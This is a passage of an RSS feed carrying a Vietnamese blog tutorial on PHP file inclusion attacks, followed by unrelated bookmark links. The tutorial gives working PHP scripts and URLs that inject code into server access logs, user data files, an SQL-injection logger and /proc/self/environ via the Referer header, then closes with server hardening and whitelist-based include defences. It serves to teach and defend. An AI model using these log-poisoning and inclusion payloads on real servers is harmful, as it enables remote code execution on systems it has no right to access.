&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_134c334krgj_b" name="include_image_file9" width="650" align="bottom" border="0" height="603"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 15. Chạy hàm hệ thống qua code
chèn trong ảnh&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;strong&gt;Code PHP trong logfil &lt;/strong&gt;&lt;/font&gt; 
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Mỗi một website khi chạy, toàn bộ thông tin truy
cập, lỗi,… sẽ được máy chủ lưu lại. Log truy cập thông thông thường được gọi là log
truy cập của site. Ngoài ra có lỗi khác đối với webserver được lưu trong file access_log,
error_log (tên file này là mặc định, có thể đổi tên khác trong httpd.conf).&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Ví dụ minh họa dưới đây cho thấy việc chèn code &lt;em&gt;/&amp;lt;?php
echo phpinfo();?&amp;gt; &lt;/em&gt;vào file log.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Tạo 1 file fopen.php như sau:&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;&amp;lt;?php&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;$res = '';&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;$fp = fsockopen('127.0.0.1', 80);&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;if(!$fp){&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;echo "No connection";&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;}&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;fputs($fp, "GET /&amp;lt;?php echo phpinfo();?&amp;gt;
HTTP/1.1\r\n");&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;fputs($fp, "Host: 127.0.0.1\r\n\r\n");&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;while(!feof($fp)){&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;$res .= fgets($fp, 128);&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;include($_GET['page'].".php");&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;}&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;echo $res;&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;?&amp;gt;&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;br&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_135gb4vrx5w_b" name="include_log_file1" width="650" align="bottom" border="0" height="247"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 16. Tạo request lỗi&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_136dvp7x3dd_b" name="include_log_file2" width="719" align="bottom" border="0" height="99"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 17. File log ghi nhận lỗi có
chứa mã PHP&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_137g45q8vfv_b" name="include_log_file3" width="650" align="bottom" border="0" height="603"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 18. Include file log&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;br&gt;
&lt;/p&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;strong&gt;Code PHP trong file text&lt;/strong&gt;&lt;/font&gt; 
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Trong một vài trường hợp một số phần của website
lưu dữ liệu ra file text ví dụ như maillist, blogroll,..&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Thường thì phần này sẽ lưu thông tin người dùng
thông thường có thể thêm vào. Khi đó có thể chèn code PHP vào các file này. Việc còn
lại là định vị file này. Để làm được điều đó cần quan tâm đến một số file như .htacces,
file config của site,…&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Ví dụ đoạn code lỗi:&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&amp;lt;?php&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;echo '&amp;lt;form method="POST"&amp;gt;';&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;echo 'E-Mail Address';&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;echo '&amp;lt;input name="email"&amp;gt;';&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;echo '&amp;lt;input type="submit" name="submit"&amp;gt;';&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;echo '&amp;lt;/form&amp;gt;';&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;if(isset($_POST['submit'])){&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$data = $_POST['email'];&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$fp = fopen("data.txt","a+");&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$wr = fwrite($fp,$data);&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;fclose($fp);&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;}&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;?&amp;gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;File dữ liệu là file data.txt, có thể tận dụng
file này để khai thác.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;br&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;strong&gt;Kết hợp file include và SQL Injection&lt;/strong&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Với một số phần mềm hiện nay, hay có thêm phần
module phát hiện những tấn công thông dụng như SQL injection. Ví dụ với CMS PHP-Nuke
có đoạn code như sau :&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&amp;lt;?&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$REQ = print_r($_REQUEST,true);&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$ip = 'IP: '.$_SERVER['REMOTE_ADDR'];&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$time = 'Date: '.date("d.m.y - H:i:s");&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$ref = 'Referer: '.$_SERVER['HTTP_REFERER'];&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$browser = 'Browser: '.$_SERVER['HTTP_USER_AGENT'];&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;if(eregi('UNION',$REQ) &amp;amp;&amp;amp; eregi('SELECT',$REQ)){&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$fp = fopen("attacks.txt","a+");&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;fwrite($fp,"$REQ\n $ip\n $time\n $browser\n $ref\n");&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;fclose($fp);&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;header('Location: http://www.google.com');&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;}&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;?&amp;gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Khi đó các request từ trình duyệt có từ UNION
và SELECT thì sẽ ghi lại toàn bộ URL request,.. vào file attacks.txt.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Như vậy có thể chèn mã PHP vào file đó như sau:&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;http://www.example.com/index.php?id= UNION SELECT
&amp;lt;?php echo phpinfo(); ?&amp;gt; &lt;/font&gt; 
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;br&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;strong&gt;Code PHP trong /proc&lt;/strong&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;/proc là một thư mục cho phép giao tiếp giữa nhân
hệ điều hành (kernel) với với người dùng của hệ điều hành (user). Tất cả các file
trong /proc không có trên đĩa cứng nó tồn tại trong RAM.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Trong phần này có thể lợi dụng để chèn code qua
Referer, phần code này sẽ được lưu trong file nằm trong thư mục có tên trùng với process
ID Apache đang chạy site đó. Tìm được file này cũng có thể include được.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Code minh họa:&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&amp;lt;?php&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$res = '';&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$fp = fsockopen('www.lab.vnsecurity.com', 80);&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;if(!$fp){&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;echo "hi!.";&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;}&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;fputs($fp, "GET /index.php?page=/proc/self/environ
HTTP/1.1\r\n");&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;fputs($fp, "Referer: &amp;lt;?php echo phpinfo();
?&amp;gt;\r\n");&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;fputs($fp, "Host: www.lab.vnsecurity.com\r\n\r\n");&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;while(!feof($fp)){&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$res .= fgets($fp, 128);&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;}&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;echo $res;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;?&amp;gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;font size="4"&gt;&lt;strong&gt;Cách chống tấn công File
Inclusion&lt;/strong&gt;&lt;/font&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Quan phần trên bạn đã có thể hình dung lỗi như
thế nào, tấn công ra sao? Vậy làm gì để chống lại các tấn công inlude file?&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Về cơ bản có 2 việc phải làm:&lt;/font&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p style="margin-bottom: 0.14in;"&gt;
&lt;font face="Times New Roman, serif"&gt;Server an toàn&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p style="margin-bottom: 0.14in;"&gt;
&lt;font face="Times New Roman, serif"&gt;Lập trình an toàn (cái này rất quan trọng vì code
có thể triển khai ở nhiều server)&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;strong&gt;Server an toàn&lt;/strong&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Để có một server an toàn không hề đơn giản nó
đòi hỏi bạn phải hiểu về các cái mình cài đặt và có kinh nghiệm về bảo mật cũng như
quản trị. Phần này tôi chỉ nói các phần liên quan đến file include thôi.&lt;/font&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p style="margin-bottom: 0.14in;"&gt;
&lt;font face="Times New Roman, serif"&gt;Trong php.ini đặt các tham số allow_url_fopen=Off
(allow_url_fopen=Off) , register_globals=Off, Safe_mode=On, display_error=Off&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p style="margin-bottom: 0.14in;"&gt;
&lt;font face="Times New Roman, serif"&gt;Đặt quyền cho các thư mục hợp lý&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;strong&gt;Lập trình an toàn&lt;/strong&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p style="margin-bottom: 0.14in;"&gt;
&lt;font face="Times New Roman, serif"&gt;Bắt lỗi chặt chẽ&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p style="margin-bottom: 0.14in;"&gt;
&lt;font face="Times New Roman, serif"&gt;Bất cứ biến nào cũng cần khởi tạo&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p style="margin-bottom: 0.14in;"&gt;
&lt;font face="Times New Roman, serif"&gt;Sử dụng đường dẫn tuyệt đối&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Một ví dụ code chặt chẽ:&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&amp;lt;?php&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$whitelist = array('index.html', 'downloads.html',
'info.html');&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;$page = $_GET['page'];&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;if(in_array($page,$whitelist)){&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;include($page);&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;}else{&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;die("Attack attempt");&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;}&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;?&amp;gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Cuối cùng, chúc bạn có hiểu biết về file include
và có phát hiện và ngăn chặn các tấn công kiểu này.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Goodluck!&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Tham khảo : hakin9, &lt;/font&gt;&lt;a href="http://www.milw0rm.com/papers/232"&gt;&lt;span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;http://www.milw0rm.com/papers/232&lt;/span&gt;&lt;/a&gt;&lt;font face="Times New Roman, serif"&gt; , &lt;/font&gt;&lt;font color="#0000ff"&gt;&lt;u&gt;&lt;a href="http://www.owasp.org/"&gt;&lt;font face="Times New Roman, serif"&gt;http://www.owasp.org&lt;/font&gt;&lt;/a&gt;&lt;/u&gt;&lt;/font&gt; 
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;br&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Tác giả:&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Phạm Đức Hải&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;a href="http://guru.net.vn/"&gt;http://guru.net.vn&lt;/a&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Also post : VnSecurity.vn &lt;a href="http://vnsecurity.vn/index.php?option=com_content&amp;amp;view=article&amp;amp;id=188:tan-cong-file-inclusion-file-inclusion-attacks&amp;amp;catid=39:hacking&amp;amp;Itemid=58"&gt;Tấn
công File Inclusion (File Inclusion Attacks)&lt;/a&gt;
&lt;br&gt;
&lt;/font&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=1924e061-6881-453d-a841-5ec94c00591f" /&gt;
&lt;br /&gt;
&lt;hr /&gt;
This weblog is sponsored by &lt;a href="http://www.guru.net.vn"&gt;Guru's Blog&lt;/a&gt;. </description>
      <comments>CommentView,guid,1924e061-6881-453d-a841-5ec94c00591f.aspx</comments>
      <category>Bảo mật</category>
      <category>Hack</category>
      <category>Linux</category>
      <category>PHP</category>
    <feedburner:origLink>http://www.guru.net.vn/PermaLink,guid,1924e061-6881-453d-a841-5ec94c00591f.aspx</feedburner:origLink></item>
  <item><title>Links for 2007-11-27 [del.icio.us]</title><link>http://feedproxy.google.com/~r/phamduchai/~3/Kj8D9w-7wMA/bongkawaii</link><pubDate>Wed, 28 Nov 2007 00:00:00 PST</pubDate><guid isPermaLink="false">http://del.icio.us/bongkawaii#2007-11-27</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.guru.net.vn/PermaLink,guid,a46ebcfc-9591-4d80-a982-b33fba22e852.aspx"&gt;How To Configure PassivePortRange In IIS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/phamduchai/~4/Kj8D9w-7wMA" height="1" width="1"/&gt;</description><feedburner:origLink>http://del.icio.us/bongkawaii#2007-11-27</feedburner:origLink></item><item><title>Links for 2007-11-16 [del.icio.us]</title><link>http://feedproxy.google.com/~r/phamduchai/~3/9s0kumyO2SQ/bongkawaii</link><pubDate>Sat, 17 Nov 2007 00:00:00 PST</pubDate><guid isPermaLink="false">http://del.icio.us/bongkawaii#2007-11-16</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://hci.stanford.edu/cs147/"&gt;CS147 Autumn 2007 - Introduction to Human-Computer Interaction Design&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/phamduchai/~4/9s0kumyO2SQ" height="1" width="1"/&gt;</description><feedburner:origLink>http://del.icio.us/bongkawaii#2007-11-16</feedburner:origLink></item><item><title>Links for 2007-11-15 [del.icio.us]</title><link>http://feedproxy.google.com/~r/phamduchai/~3/NpmQCnkZwcE/bongkawaii</link><pubDate>Fri, 16 Nov 2007 00:00:00 PST</pubDate><guid isPermaLink="false">http://del.icio.us/bongkawaii#2007-11-15</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://my.opera.com/tanlangtu/blog/index.dml/tag/Ebook"&gt;Ebook - Hoa v&amp;agrave; c&amp;#7887; d&amp;#7841;i&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/phamduchai/~4/NpmQCnkZwcE" height="1" width="1"/&gt;</description><feedburner:origLink>http://del.icio.us/bongkawaii#2007-11-15</feedburner:origLink></item><item><title>Links for 2007-11-14 [del.icio.us]</title><link>http://feedproxy.google.com/~r/phamduchai/~3/mKdC4Kfq9_w/bongkawaii</link><pubDate>Thu, 15 Nov 2007 00:00:00 PST</pubDate><guid isPermaLink="false">http://del.icio.us/bongkawaii#2007-11-14</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blogs.msdn.com/jensenh/archive/2006/08/22/711808.aspx"&gt;Jensen Harris: An Office User Interface Blog : Giving You Fitts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/phamduchai/~4/mKdC4Kfq9_w" height="1" width="1"/&gt;</description><feedburner:origLink>http://del.icio.us/bongkawaii#2007-11-14</feedburner:origLink></item><item><title>Links for 2007-11-11 [del.icio.us]</title><link>http://feedproxy.google.com/~r/phamduchai/~3/iQh4v2nf7ls/bongkawaii</link><pubDate>Mon, 12 Nov 2007 00:00:00 PST</pubDate><guid isPermaLink="false">http://del.icio.us/bongkawaii#2007-11-11</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://sachcuatrang.com/shortstory1.html"&gt;Sach cua Trang - Truyen ngan - Ti ti thoi nhe&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/phamduchai/~4/iQh4v2nf7ls" height="1" width="1"/&gt;</description><feedburner:origLink>http://del.icio.us/bongkawaii#2007-11-11</feedburner:origLink></item></channel>
</rss>
